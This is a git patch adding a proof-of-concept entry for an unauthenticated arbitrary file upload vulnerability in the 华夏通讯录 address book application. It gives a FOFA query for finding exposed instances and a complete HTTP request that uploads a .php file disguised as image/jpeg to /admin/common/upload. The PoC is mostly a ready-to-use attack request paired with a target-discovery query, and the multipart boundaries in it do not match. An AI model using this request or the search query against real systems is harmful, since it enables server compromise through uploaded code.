From bcbda5b61131ab43e15c884eb77d9386ad8691f2 Mon Sep 17 00:00:00 2001 From: Nexolanta <73454853+Nexolanta@users.noreply.github.com> Date: Thu, 6 Mar 2025 16:32:29 +0800 Subject: [PATCH] =?UTF-8?q?Update=20=E5=8D=8E=E5=A4=8F=E9=80=9A=E8=AE=AF?= =?UTF-8?q?=E5=BD=95=E5=AD=98=E5=9C=A8=E5=89=8D=E5=8F=B0upload=E4=BB=BB?= =?UTF-8?q?=E6=84=8F=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../华夏通讯录存在前台upload任意文件上传 | 39 +++++++++++++++++++ 1 file changed, 39 insertions(+) diff --git a/wpoc/华夏通讯录/华夏通讯录存在前台upload任意文件上传 b/wpoc/华夏通讯录/华夏通讯录存在前台upload任意文件上传 index 8b13789..d9e2a49 100644 --- a/wpoc/华夏通讯录/华夏通讯录存在前台upload任意文件上传 +++ b/wpoc/华夏通讯录/华夏通讯录存在前台upload任意文件上传 @@ -1 +1,40 @@ +## 华夏通讯录存在前台upload任意文件上传 +华夏通讯录存在前台由于在鉴权方面存在疏漏,导致了可未授权访问,从而通过/admin/common/upload接口进行任意文件上传。 + +## fofa +``` +icon_hash="1403225079" && ":) APPV1" +``` + +## poc +``` +POST /admin/common/upload HTTP/1.1 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 +Accept-Encoding: gzip, deflate, br, zstd +Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7 +Cache-Control: max-age=0 +Connection: keep-alive +Content-Length: 197 +Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIGQdzBsWlq43t3JA +Cookie: PHPSESSID=719psss6jnv9112q6spakfmt32; md5=201920; visitor_source=http%3A%2F%2F127.0.0.1%3A81%2Findex +Host: 127.0.0.1:81 +Origin: http://127.0.0.1:81 +Referer: http://127.0.0.1:81/admin/common/upload +Sec-Fetch-Dest: document +Sec-Fetch-Mode: navigate +Sec-Fetch-Site: none +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 +sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" +sec-ch-ua-mobile: ?0 +sec-ch-ua-platform: "Windows" +sec-fetch-user: ?1 + +------WebKitFormBoundary03rNBzFMIytvpWhy +Content-Disposition: form-data; name="file"; filename="1.php" +Content-Type: image/jpeg + + +------WebKitFormBoundary03rNBzFMIytvpWhy-- +```